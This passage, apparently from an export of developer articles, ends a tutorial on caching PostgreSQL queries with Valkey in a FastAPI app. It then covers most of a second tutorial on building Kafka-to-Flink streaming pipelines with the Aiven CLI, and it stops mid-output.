status_code=500,\n detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n return {'count': count}\n```\n\nOur second decorator is for POST functions.\n\nAdd the following before the `post_add` function:\n\n```python\ndef clear_cache(func):\n @functools.wraps(func)\n def wrapper(item: Item):\n logging.debug(f'Clearing cache')\n valkey_conn = connect_to_valkey()\n\n # Invalidate the cache entry whether we succeed in doing the update or not\n # - we don't expect the update to fail, and it shouldn't hurt to clear the\n # cache a bit too often\n valkey_conn.delete(CACHE_KEY) # The Valkey command is `del`, but that's special in Python\n\n return func(item)\n\n return wrapper\n```\n\nNext, decorate it:\n\n```python\n@app.post(\"/add/\")\n@clear_cache\ndef post_add(item: Item):\n```\n\n::alert[The same care is needed as for the previous decorator.]\n\nAgain, we now remove the caching code from inside the `post_add` function:\n\n```python\n@app.post(\"/add/\")\n@clear_cache\ndef post_add(item: Item):\n \"\"\"Add a new order.\"\"\"\n order = item.dict()\n logging.debug(f'Adding order {order}')\n\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n cursor.execute(\n 'INSERT INTO orders'\n ' (orderdate, customerid, netamount, tax, totalamount)'\n ' VALUES (%s, %s, %s, %s, %s);',\n (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n )\n pg_conn.commit()\n logging.debug('Added new order')\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n return {'updated': {'customer': item.customerid}}\n```\n\nCheck that all continues to work by running the `curl` commands again, and looking at the application logs to see that the expected logging messages are still being produced.\n\n## A more realistic database call\n\nReviewing our application so far, we can:\n\n* Ask for the total number of orders from the Redis cache\n* Post a new order for a given customer to the PostgreSQL database and refresh the cache\n* And we've simplified the cache handling by using decorators\n\nLet's add another method to ask for the total number of orders per customer.\n\nAs we've discussed before, ``count`` is a slow process on its own, and you wouldn't use it in most production settings. Asking the database for a ``count`` as filtered by ``customerid`` is slower still, but a more realistic operation. Let's cache it!\n\nThis means we'll have one cache for the total number of orders, and one for each customer.\n\nTo start, we need to add another import statement before the other `from` imports at the top of `main.py`. We'll need that when we get round to updating the `read_count` function in a moment.\n\n```python\nfrom typing import Union\n```\n\n\nThen we need to replace the definition of `CACHE_KEY` at the start of `main.py` with the following definition of `CACHE_KEY_FORMAT`. This uses a format string to describe the overall structure of our cache key strings.\n```python\nCACHE_KEY_FORMAT = 'num_orders:{0}'\n```\n\nWe need to alter the `check_cache` descriptor to understand that it might be caching data for a specific customer id. So we change the signature to take an optional (integer) `customerid` argument, and calculate the cache key from that.\n\nThe function should end up as follows:\n```python\ndef check_cache(func):\n @functools.wraps(func)\n def wrapper(customerid: Union[int, None] = None, *args, **kwargs):\n valkey_conn = connect_to_valkey()\n\n cache_key = CACHE_KEY_FORMAT.format('all' if customerid is None else customerid)\n\n logging.debug(f'Checking cache key {cache_key}')\n\n # Is it already in the cache? If so, just use it\n count = valkey_conn.get(cache_key)\n if count:\n logging.debug(f'Found {cache_key}, value is {count}')\n return {'count': count}\n\n logging.debug(f'Calling {func} to find the count')\n retval = func(customerid)\n count = retval['count']\n\n # Remember to add it to the cache\n logging.debug(f'Caching {cache_key}, value is {count}')\n valkey_conn.set(cache_key, count, ex=CACHE_TIMEOUT_SECONDS)\n\n return retval\n\n return wrapper\n```\n\nThe GET function gains the same optional `customerid` argument, allowing us to specify the customer id if we wish - we'll see how that's used in an actual query later on:\n\n```python\ndef read_count(customerid: Union[int, None] = None):\n```\n\nNext, let's change the database query in that function to account for whether or not the user specified a customer id. Find this line:\n```python\n cursor.execute('SELECT COUNT(*) FROM orders;')\n```\n\nReplace it with the following code:\n\n```python\n if customerid is None:\n logging.debug('Looking up all orders')\n cursor.execute('SELECT COUNT(*) FROM orders;')\n else:\n logging.debug(f'Looking up orders orders for custmerid {customerid}')\n cursor.execute('SELECT COUNT(*) FROM orders WHERE customerid=%s;', (customerid,))\n```\n(It's Python, so make sure to keep the indentation correct!)\n\nThe `clear_cache` decorator now needs to clear the cache for all orders, and also the cache for the specific customer:\n\n```python\ndef clear_cache(func):\n @functools.wraps(func)\n def wrapper(item: Item):\n logging.debug('Clearing caches')\n\n all_cache_key = CACHE_KEY_FORMAT.format('all')\n this_cache_key = CACHE_KEY_FORMAT.format(item.customerid)\n\n logging.debug(f'Clearing caches for {all_cache_key} and {this_cache_key}')\n\n valkey_conn = connect_to_valkey()\n\n # Invalidate the cache entry whether we succeed in doing the update or not\n # - we don't expect the update to fail, in general, and it shouldn't hurt\n # to clear the cache\n # The Valkey command is `del`, but that's special in Python\n valkey_conn.delete(all_cache_key)\n valkey_conn.delete(this_cache_key)\n\n return func(item)\n\n return wrapper\n```\n\nWe don't need to change the `post_add` function at all.\n\nThe `curl` query for all the orders is the same as before, but now we can ask for just the number of orders for a particular customer.\n\nNow if we POST an order for customer 9999:\n\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ -H 'Content-Type: application/json' -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nWe should see the following response:\n```\n{\"updated\":{\"customer\":9999}}\n```\n\nIn addition, we can also ask \"how many orders are there for customer 9999\":\n\n```shell\ncurl 'http://127.0.0.1:8000/count?customerid=9999'\n```\n\nThe answer we get back depends on how many orders we've actually created for customer 9999, but should be of the form:\n\n```\n{\"count\":10}\n```\n\nWe can confirm this by sending a request:\n\n```\ncurl 'http://127.0.0.1:8000/count/'\n```\nWe'll see the same result as before. The particular answer depends on how many orders were created for customer 9999.\n```\n{\"count\":12008}\n```\n\n## All the code\n\nAs a recap, here's the final program, all in one:\n\n```python\nimport functools\nimport os\n\nfrom typing import Union\n\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\nfrom pydantic import BaseModel\n\nimport logging\nimport psycopg2\nimport valkey\n\n# turn on logging\nlogging.basicConfig(level=logging.DEBUG)\n\n# import environment variables\nPG_SERVICE_URI = os.getenv('PG_SERVICE_URI')\nVALKEY_SERVICE_URI = os.getenv('VALKEY_SERVICE_URI')\n\nCACHE_TIMEOUT_SECONDS = 120\ncache_timeout_str = os.getenv('CACHE_TIMEOUT_SECONDS', str(CACHE_TIMEOUT_SECONDS))\ntry:\n CACHE_TIMEOUT_SECONDS = int(cache_timeout_str)\nexcept ValueError as e:\n logging.error(f'Bad value {cache_timeout_str}, using {CACHE_TIMEOUT}')\nlogging.info(f'Cache timeout is {CACHE_TIMEOUT_SECONDS}s')\n\nCACHE_KEY_FORMAT = 'num_orders:{0}'\n\napp = FastAPI()\n\n\ndef connect_to_pg():\n \"\"\"Connect to the PostgreSQL backend.\"\"\"\n if not PG_SERVICE_URI:\n raise HTTPException(\n status_code=500,\n detail=\"Internal server error. Database not specified - \"\n \"environment variable PG_SERVICE_URI is empty/unset\",\n )\n try:\n # Use the given service URI, but specify a different database\n return psycopg2.connect(PG_SERVICE_URI, database='dellstore')\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error connecting to database: {e.__class__.__name__} {e}\",\n )\n\n\ndef connect_to_valkey():\n \"\"\"Connect to the Valkey backend.\"\"\"\n if not VALKEY_SERVICE_URI:\n raise HTTPException(\n status_code=500,\n detail=\"Internal server error. Valkey service not specified - \"\n \"environment variable VALKEY_SERVICE_URI is empty/unset\",\n )\n try:\n return valkey.from_url(VALKEY_SERVICE_URI)\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error connecting to Valkey: {e.__class__.__name__} {e}\",\n )\n\n\ndef check_cache(func):\n @functools.wraps(func)\n def wrapper(customerid: Union[int, None] = None, *args, **kwargs):\n valkey_conn = connect_to_valkey()\n\n cache_key = CACHE_KEY_FORMAT.format('all' if customerid is None else customerid)\n\n logging.debug(f'Checking cache key {cache_key}')\n\n # Is it already in the cache? If so, just use it\n count = valkey_conn.get(cache_key)\n if count:\n logging.debug(f'Found {cache_key}, value is {count}')\n return {'count': count}\n\n logging.debug(f'Calling {func} to find the count')\n retval = func(customerid)\n count = retval['count']\n\n # Remember to add it to the cache\n logging.debug(f'Caching {cache_key}, value is {count}')\n valkey_conn.set(cache_key, count, ex=CACHE_TIMEOUT_SECONDS)\n\n return retval\n\n return wrapper\n\n\n@app.get(\"/count\")\n@check_cache\ndef read_count(customerid: Union[int, None] = None):\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n if customerid is None:\n logging.debug('Looking up all orders')\n cursor.execute('SELECT COUNT(*) FROM orders;')\n else:\n logging.debug(f'Looking up orders orders for custmerid {customerid}')\n cursor.execute('SELECT COUNT(*) FROM orders WHERE customerid=%s;', (customerid,))\n count = cursor.fetchone()[0]\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n return {'count': count}\n\n\nclass Item(BaseModel):\n \"\"\"A new order.\"\"\"\n orderdate: str # e.g., 2023-03-10\n customerid: int\n netamount: float\n tax: float\n\n\ndef clear_cache(func):\n @functools.wraps(func)\n def wrapper(item: Item):\n logging.debug('Clearing caches')\n\n all_cache_key = CACHE_KEY_FORMAT.format('all')\n this_cache_key = CACHE_KEY_FORMAT.format(item.customerid)\n\n logging.debug(f'Clearing caches for {all_cache_key} and {this_cache_key}')\n\n valkey_conn = connect_to_valkey()\n\n # Invalidate the cache entry whether we succeed in doing the update or not\n # - we don't expect the update to fail, in general, and it shouldn't hurt\n # to clear the cache\n # The Valkey command is `del`, but that's special in Python\n valkey_conn.delete(all_cache_key)\n valkey_conn.delete(this_cache_key)\n\n return func(item)\n\n return wrapper\n\n\n@app.post(\"/add/\")\n@clear_cache\ndef post_add(item: Item):\n \"\"\"Add a new order.\"\"\"\n order = item.dict()\n logging.debug(f'Adding order {order}')\n\n pg_conn = connect_to_pg()\n try:\n cursor = pg_conn.cursor()\n cursor.execute(\n 'INSERT INTO orders'\n ' (orderdate, customerid, netamount, tax, totalamount)'\n ' VALUES (%s, %s, %s, %s, %s);',\n (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n )\n pg_conn.commit()\n logging.debug('Added new order')\n except Exception as e:\n raise HTTPException(\n status_code=500,\n detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n )\n finally:\n pg_conn.close()\n\n return {'updated': {'customer': item.customerid}}\n\n```\n\n## That's all, folks!\n\nAnd there you have it! An application with caching on multiple values using PostgreSQL and Valkey. \n\nBefore you move on, don't forget to [pause or terminate](https://aiven.io/docs/platform/howto/pause-from-cli) your Aiven services! \n\n## Additional resources\n\n* Check out the application's autogenerated API docs at `http://127.0.0.1:8000/docs` (only while `uvicorn` is actually running the app).\n* Look at [FastAPI Cache](https://github.com/long2ice/fastapi-cache) as a possible solution for production settings – we've not tried it, but it looks like a useful shortcut!\n* Web frameworks like [Django](https://www.djangoproject.com/) and [Rails](https://rubyonrails.org/) generally make it easy to add a cache, and Redis is often used. See our article on [Set up Django to use Aiven for Valkey](https://aiven.io/developer/set-up-django-to-use-aiven-for-valkey) for how to get Django to talk to Valkey (and there's also a companion article on [Set up Django to use Aiven for PostgreSQL®](https://aiven.io/developer/django-and-aiven-for-pg)).\n* Read up on [cURL](https://curl.se/). It's an incredibly powerful and versatile tool and you can find out a lot more at [Everything curl](https://curl.se/book.html).\n* Find out more about Python decorators at [Real Python](https://realpython.com/)'s [Primer on Python Decorators](https://realpython.com/primer-on-python-decorators/). They also provide a nice introduction to [Logging in Python](https://realpython.com/python-logging/).\n* We didn't discuss [ETags](https://en.wikipedia.org/wiki/HTTP_ETag) at all, but they're another thing that a production system might consider (and [fastapi-cache](https://github.com/long2ice/fastapi-cache) indicates it has at least some support for them).\n* Lastly, the example code we've given uses synchronous Valkey connections, which can block the event loop and degrade performance. A better option might be to use asynchronous connections, with `async` and `await`. See the [Asyncio Examples](https://valkey-py.readthedocs.io/en/latest/examples/asyncio_examples.html) in the [valkey-py documentation](https://valkey-py.readthedocs.io/en/latest/index.html).\n\nIf you want to learn a bit more about PostgreSQL and Valkey themselves, check out:\n\n- [Aiven for PostgreSQL® documentation](https://aiven.io/docs/products/postgresql)\n- [Aiven for Valkey™ documentation](https://aiven.io/docs/products/valkey)\n- [PostgreSQL's official documentation](https://www.postgresql.org/)\n- [Valkey's official documentation](https://valkey.io/)\n\nand you can also follow up the Python libraries we used:\n\n* For [fastapi](https://fastapi.tiangolo.com/) check out the [tutorial](https://fastapi.tiangolo.com/tutorial/).\n* As part of writing this article, we learnt that [psycopg](https://www.psycopg.org/) now has a version 3. We used `psycopg2` in our examples (documentation at https://www.psycopg.org/docs/) but you might be interested in exploring https://www.psycopg.org/psycopg3/docs/ as well.\n* The [valkey-py](https://github.com/valkey-io/valkey-py) documentation is at https://valkey-py.readthedocs.io/ and has copious links back into the main Valkey documentation.\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-06-29T09:33:05.663Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[],"publishedAt":"2023-06-22T09:32:48.893Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Add caching to your PostgreSQL app using Valkey\" and the Aiven cuddly crab logo","asset":{"_ref":"image-9c90710db8d8e874cb1ea68b708084d249ea7588-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/add-caching-to-pg-with-valkey"},"subtitle":"Caching is used to speed up cloud applications, particularly for database reads. Read on to learn more, and find out how to build caching with Valkey™ into a simple PostgreSQL® web app.","tags":[{"_key":"82194292344e","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"280894c5274d","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"4b74596e664f","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"5a4c0d4d7498","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"cc733cc55ea3","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"}],"title":"Add caching to your PostgreSQL® app using Valkey™"} {"__i18n_lang":"en","_createdAt":"2023-03-20T14:14:04Z","_id":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_rev":"Y1Zuby3sRDA3bPurvuDEN3","_type":"devArticle","_updatedAt":"2024-09-25T08:39:24Z","body":"::alert[This post, originally published in February 2022, has been updated to the new Aiven for Apache Flink®️ API and developer experience, as released in February 2023.]\n \nIf data is the new gold then data pipelines must be the mining shafts and SQL the pickaxe: allowing information to travel across the company from the sources to the desired decision-enabling dashboards. But driving the data assets to the right audience is only part of the problem; performing it in a timely manner is becoming more and more critical. The old days of watching today a dashboard containing yesterday's data are gone, we need to analyse, capture trends and detect outliers as soon as possible.\n\nMore and more companies are consequently going away from batch and embracing streaming solutions which enable near real time data pipeline definition. To make this transition easier, selecting a target technology speaking a language similar to the original is usually a sensible choice, since it enables existing skills reusability with small adaptations.\n\nThe combination of Apache Kafka® and Apache Flink®, two open source projects aiming respectively at transmitting and computing streaming data, is therefore a good choice, since it enables the transition from batch to streaming keeping the data pipeline definitions in the data practitioners most beloved language: SQL!\n\nWe [previously wrote about the duo](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka), showcasing how you could write your own streaming data pipelines using a dockerized version of Apache Flink®'s SQL client. This time we'll create new data pipelines on a different use-case and show how we can minimize the analytics latency. On top of this, there is more good news: we don't have to care anymore about running Apache Flink® ourselves, since we can rely on the managed services provided by Aiven!\n\nYou can also watch this tutorial on YouTube: \n\n::youtube[Build your first data pipeline with Aiven for Apache Flink®]{#RT5zjEWc1mg}\n\n## The use case\n\nFor the purpose of this blog post, we are going to mimic an inbound streaming dataset of IoT CPU utilization measurements. Since IoT devices can be geographically distributed, messages can arrive with a delay or potentially out of order, thus, before further processing, we want to allow late arrivals of IoT records with a delay up to 10 seconds. In rough terms this means that we'll wait 10 more seconds before finishing off any window calculation.\n\nWhen we monitor any type of hardware, we might want to check if the device health parameters are within an optimal range, and if not, start raising alerts. We can achieve that by creating a data pipeline to filter all high cpu utilization records and push them to a new Apache Kafka® topic, where a downstream consuming application will then trigger the alerts. [In the old batch days](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time) we would run the same query every few minutes to check for high values, with streaming we can redirect the problematic records as soon as they appear.\n\nChecking every individual sample against the threshold might be a bit bursty, and we are ok if a single cpu sample goes over the limit. On the other side, we might want to calculate the average and maximum cpu level at 5 minutes interval, since those metrics can help us identifying problematic CPUs with consistent heavy load. To achieve this second monitoring step, we'll create another pipeline aggregating samples with 5 minutes windows.\nPlease consider, that this use case was also solvable in batch mode, but in that case we had to **start the batch** load 10 seconds (the allowed delay) after the 5 minutes window and see the results only after the batch time. If the batch time of collecting data, calculating and storing results is 1 minute, we would discover the end status with 1 minute and 10 seconds of delay.\n\nWith Apache Flink®, if the query allows, the window information is captured and calculated incrementally during the window time itself. Therefore, after the 10 seconds delay is finished, there can be a minimal overhead due to the last computation to finish before emitting the result. For simple queries, we would retrieve the results with just a little bit more of the 10 seconds of forced delay.\n\nWhat we'll notice when writing the two data pipelines is how Apache Flink® SQL is similar to the SQL we would use to query a relational database. This makes the migration from batch processes to streaming a matter of learning the little peculiar tricks of Apache Flink.\n\n## Define the building blocks\n\nWe will use [Aiven for Apache Kafka®](https://aiven.io/kafka) as the data bus and [Aiven for Apache Flink®](https://aiven.io/flink) to define some data pipelines in SQL.\nAiven provides a beautiful [web console](https://console.aiven.io/) that we can use to create all our services, but for the aim of this blog post, we will rely on the [Aiven CLI](https://aiven.io/docs/tools/cli.html) to setup and manage our instances, since it provides a way to script the entire process and produce replicable results.\n\nTo make our command lines simpler, we can store the Aiven project name we are using in a shell variable, `AVN_PROJECT_NAME`, replacing the `YOUR_PROJECT_NAME` placeholder with the actual project name. For instance, in `bash`:\n\n```\nAVN_PROJECT_NAME=YOUR_PROJECT_NAME\n```\n\nOnce the [Aiven CLI](https://aiven.io/docs/tools/cli.html) is installed, we can start creating the Aiven for Apache Kafka® service by issuing the following command in the terminal:\n\n```bash\navn service create demo-kafka \\\n --project $AVN_PROJECT_NAME \\\n --service-type kafka \\\n --cloud google-europe-west3 \\\n --plan business-4 \\\n -c kafka.auto_create_topics_enable=true \\\n -c kafka_rest=true \\\n -c schema_registry=true\n```\n\nThe above creates an Apache Kafka® instance named `demo-kafka` located in `google-europe-west3` region, with the 3-node cluster defined by the `business-4` plan. To store schema information we enable schema registry via Aiven's [Karapace](https://github.com/aiven/karapace), and we allow querying it via REST calls by enabling Kafka REST. Finally we allow the [automatic creation of topics on the first message](https://aiven.io/docs/products/kafka/howto/create-topics-automatically.html), useful for a demo project like this.\n\nNow, we can create the Aiven for Apache Flink® service with:\n\n```bash\navn service create demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --service-type flink \\\n --cloud google-europe-west3 \\\n --plan business-4\n```\n\nCompared to the previous call, the only difference is the service name (now `demo-flink`) and type (now `flink`).\n\nTo complete the setup, we need to connect the two pillars with a service integration, and again the Aiven CLI is our friend.\n\n```bash\navn service integration-create \\\n --project $AVN_PROJECT_NAME \\\n -t flink \\\n -s demo-kafka \\\n -d demo-flink\n```\n\nIn the above, we specify an integration of type `flink` connecting the data source `demo-kafka` to the Aiven for Apache Flink® service called `demo-flink`.\n\n## Define the streaming input\n\nWe need some data to play with, and instead of the usual pizza example, we will now use fake metrics reported by IoT (Internet of Things) devices. The beauty is that it's contained in the same [GitHub repository](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) that we were using for our previous example, which has a flag called `subject` allowing us to generate various types of fake data.\n\nThe associated [GitHub repository](https://github.com/aiven/fake-data-producer-for-apache-kafka-docker) provides a dockerised version. To start using it we first clone the repository\n\n```bash\ngit clone https://github.com/aiven/fake-data-producer-for-apache-kafka-docker\n```\n\nNext, we need to create an access token, that will be used by the Docker instance to retrieve the Apache Kafka®'s service URI and certificates, with the following Aiven CLI command and [jq](https://stedolan.github.io/jq/) to fetch the results:\n\n```bash\navn user access-token create \\\n --description \"Token used by Fake data generator\" \\\n --max-age-seconds 3600 \\\n --json | jq -r '.[].full_token'\n```\n\nThe above generates a token valid for 1 hour (3600 secs). Take note of the command output in the `FULL_TOKEN` field since now it's time to include it in the repo config file. Within the `fake-data-producer-for-apache-kafka-docker` folder, let's copy the `conf/env.conf.sample` to `conf/env.conf` and edit the file with the following content:\n\n```bash\nPROJECT_NAME=\"[YOUR_PROJECT_NAME]\"\nSERVICE_NAME=\"demo-kafka\"\nTOPIC=\"iot-data-input\"\nPARTITIONS=1\nREPLICATION=2\nNR_MESSAGES=0\nMAX_TIME=1\nSUBJECT=\"metric\"\nUSERNAME=\"[YOUR_ACCOUNT]\"\nTOKEN=\"[YOUR_ACCESS_TOKEN]\"\nSECURITY=\"SSL\"\n```\n\nReplace the `[YOUR_PROJECT_NAME]` with the project name where Aiven for Apache Kafka® is running, and the duo `[YOUR_ACCOUNT]`, `[YOUR_ACCESS_TOKEN]` with the account credentials necessary to attach to Apache Kafka®. If you followed these examples they would be your email and the token you generated a few steps above.\n\nTime to build the docker image with:\n\n```bash\ndocker build -t fake-data-producer-for-apache-kafka-docker .\n```\n\nIf you change any parameter in the `conf/env.conf` file (like the access token), you need to rebuild the image to take the changes into the Docker images. \n\nFinally start the fake stock data flow with:\n\n```bash\ndocker run fake-data-producer-for-apache-kafka-docker\n```\n\nAfter few seconds we should see an infinite amount of messages getting created in the Apache Kafka® topic named `iot-data-input`. We can check them using [kcat](https://github.com/edenhill/kcat). Use the instructions in the [dedicated doc page](https://aiven.io/docs/products/kafka/howto/kcat.html) to install and set up the `kcat.config` configuration file and then check the data flowing in Apache Kafka® with.\n\n```bash\nkcat -F kcat.config -C -t iot-data-input\n```\n\nWe should see a stream of IoT device cpu usage measurements.\n\n## Define a data filtering pipeline\n\nFor the rest of the post, we'll need the ID of the integration we just created. To retrieve it, we can issue the following command relying on the Aiven CLI and some `jq` filtering of the results\n\n```bash\nKAFKA_FLINK_SI=$( \\\n avn service integration-list \\\n demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --json \\\n | jq -r '.[] | select(.source == \"demo-kafka\") | .service_integration_id')\n```\n\nThe above command lists the integrations, filtering the one pointing to the `demo-kafka` service and storing its ID in the `KAFKA_FLINK_SI` variable, that we'll use later.\n\nThe next step is to setup a streaming data pipeline in Apache Flink®. Aiven for Apache Flink allows us to define data pipelines as [applications](https://aiven.io/docs/products/flink/concepts/flink-applications), containing all the metadata definitions like table, SQL transformation and deployment parameters. \n\nThe following Aiven CLI command allows us to create an application called \"Filtering_Data_Pipeline\":\n\n```bash\navn service flink create-application demo-flink \\\n --project $AVN_PROJECT_NAME \\\n \"{\\\"name\\\":\\\"Filtering_Data_Pipeline\\\"}\"\n```\n\n## Define an Aiven for Apache Flink application\n\nNow we've got a new Apache Flink application named `Filtering_Data_Pipeline`, we can retrieve the application id that we'll need later on with:\n\n```bash\nFLINK_APP_ID=$(avn service flink list-applications demo-flink \\\n --project $AVN_PROJECT_NAME \\\n | jq -r '.applications[] | select(.name == \"Filtering_Data_Pipeline\") | .id')\n```\n\nThe above command lists the applications, filtering the one named `Filtering_Data_Pipeline` and storing its ID in the `FLINK_APP_ID` variable, that we'll use later.\n\n## Define an Aiven for Apache Flink application version\n\nNow it's time to create an **application version**. The versioning system allows us to quickly evolve the data pipeline definition, and to travel back in history if some changes are not in line with expectations. In the application version we need to specify:\n\n* The list of **sources**, together with their service integration id that defines which other Aiven services will be used to pull the data\n* The **sink**, together with its service integration id that defines which other Aiven service will be used to sink the data\n* The transformation **SQL statement** that defines how to reshape the data. \n\nThe overall structure of the application in JSON format is:\n\n```json\n{\n \"sources\": [\n {\n \"create_table\":\"CREATE TABLE SRC_TBL1....\",\n \"integration_id\":\"INTEGRATION_ID1\"\n },\n {\n \"create_table\":\"CREATE TABLE SRC_TBL2....\",\n \"integration_id\":\"INTEGRATION_ID1\"\n }\n ],\n \"sinks\": [\n {\n \"create_table\":\"CREATE TABLE SINK_TBL1....\",\n \"integration_id\":\"INTEGRATION_ID3\"\n }\n ],\n \"statement\": \"INSERT INTO SINK_TBL1 SELECT ...\"\n}\n```\n\nBack to our example, we can create the application version with the following command:\n\n```bash\navn service flink create-application-version demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID \\\n \"\"\"{\n \\\"sources\\\": [\n {\n \\\"create_table\\\":\n \\\"CREATE TABLE iot_in (\\n\\\n hostname VARCHAR,\\n\\\n cpu VARCHAR,\\n\\\n usage DOUBLE,\\n\\\n occurred_at BIGINT,\\n\\\n time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3),\\n\\\n WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' seconds\\n\\\n )\\n\\\n WITH (\\n\\\n 'connector' = 'kafka',\\n\\\n 'properties.bootstrap.servers' = '',\\n\\\n 'scan.startup.mode' = 'earliest-offset',\\n\\\n 'value.fields-include' = 'ALL',\\n\\\n 'topic' = 'iot-data-input',\\n\\\n 'value.format' = 'json'\\n\\\n )\\\",\n \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n } ],\n \\\"sinks\\\": [\n {\n \\\"create_table\\\":\n \\\"CREATE TABLE iot_filtered_alert (\\n\\\n hostname VARCHAR,\\n\\\n time_ltz TIMESTAMP(3),\\n\\\n cpu VARCHAR,\\n\\\n usage DOUBLE)\\n\\\n WITH (\\n\\\n 'connector' = 'kafka',\\n\\\n 'properties.bootstrap.servers' = '',\\n\\\n 'scan.startup.mode' = 'earliest-offset',\\n\\\n 'topic' = 'iot-filtered-alert',\\n\\\n 'value.format' = 'json'\\n\\\n )\\\",\n \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n }\n ],\n \\\"statement\\\":\n \\\"insert into iot_filtered_alert\\n\\\n select\\n\\\n hostname,\\n\\\n time_ltz,\\n\\\n cpu,\\n\\\n usage\\n\\\n from\\n\\\n iot_in\\n\\\n where usage \u003e 90\\\"\n }\"\"\"\n```\n\nThe above command generates an Apache Flink® application version in `demo-flink` composed of:\n\n1. A **source table** called `iot_in` using the integration id with the Apache Kafka® service stored in the `$KAFKA_FLINK_SI`.\n\n The schema of the table maps the fields `hostname`, `cpu`, `usage` and `occurred_at`. Moreover it sets a new field, called `time_ltz`, which casts the `occurred_at` timestamp in linux format to the native timestamp used by Apache Flink®. Finally the `WATERMARK` section allows late events to arrive: we are enabling the IoT measurements to be included as valid and considered for the downstream data pipelines if they arrive within `10` seconds delay. We can notice that, apart from the peculiar `WATERMARK` definition, the rest of the SQL definition is really similar to what we would use in a relational database.\n\n Some things to notice in the source table definition `WITH` section: \n\n * it reads from the beginning (`earliest-offset`) of the topic `iot-data-input` \n * as the `properties.bootstrap.servers` is empty, the connection information will be fetched from the integration definition\n * it uses the standard `kafka` connector (check more about the different Apache Kafka® connectors in the [dedicated documentation](https://aiven.io/docs/products/flink/concepts/kafka-connectors.html))\n * it defines the inbound source of data to be `json` format.\n\n2. A **sink table** called `iot_filtered_alert` using the integration id with the Apache Kafka® service stored in the `$KAFKA_FLINK_SI`.\n\n The schema of the table includes the fields `hostname`, `time_ltz`, `cpu` and `usage`. It defines the target of the data pipeline as a topic named `iot-filtered-alert` in Apache Kafka (with the `$KAFKA_FLINK_SI` integration id) using similar settings for the connector, startup mode and value format as the source table.\n\n3. A **SQL transformation** that selects the `hostname`, `time_ltz`, `cpu` and `usage` from the source `iot_in` table, filtering for `usage` values greater than `90` and inserts the data in the `iot_filtered_alert`.\n\n## Deploy an Aiven for Apache Flink application version\n\nAt this point, the first version of our application is ready to be deployed. The deployment stage allows us to actually start the data pipeline by submitting the application to the Apache Flink service for it to be run. We need to fetch the application version id with:\n\n```bash\nFLINK_APP_VERSION_ID=$(avn service flink get-application demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID \\\n | jq -r '.application_versions[] | select(.version == 1) | .id')\n```\n\nThe above command retrieves the Application definition, and with `jq` filters for version 1 (`select(.version == 1)`) and extracts the `id`. \n\nNow we are ready to deploy our application, with the following command:\n\n```bash\navn service flink create-application-deployment demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID \\\n \"{\\\"parallelism\\\": 1,\\\"restart_enabled\\\": true, \\\"version_id\\\": \\\"$FLINK_APP_VERSION_ID\\\"}\"\n```\n\nWe can check the deployment status with:\n\n```bash\navn service flink get-application demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID | jq '.current_deployment.status'\n```\n\nOnce the application deployment is in `RUNNING` state, filtered data should be pushed to the Apache Kafka® topic named `iot-filtered-output`. We can check with `kcat` and the following call:\n\n```bash\nkcat -F kcat.config -C -t iot-filtered-alert\n```\n\nOnly measurements with over 90% utilization should appear in the `iot-filtered-alert` topic, similar to the below:\n\n```json\n{\"hostname\":\"dopey\",\"time_ltz\":\"2023-02-08 11:05:23.319\",\"cpu\":\"cpu4\",\"usage\":90.51760978462883}\n{\"hostname\":\"happy\",\"time_ltz\":\"2023-02-08 11:05:25.954\",\"cpu\":\"cpu4\",\"usage\":99.6863297672615}\n{\"hostname\":\"sneezy\",\"time_ltz\":\"2023-02-08 11:05:30.701\",\"cpu\":\"cpu5\",\"usage\":97.19928378993606}\n{\"hostname\":\"doc\",\"time_ltz\":\"2023-02-08 11:05:32.142\",\"cpu\":\"cpu2\",\"usage\":95.69989296729409}\n{\"hostname\":\"doc\",\"time_ltz\":\"2023-02-08 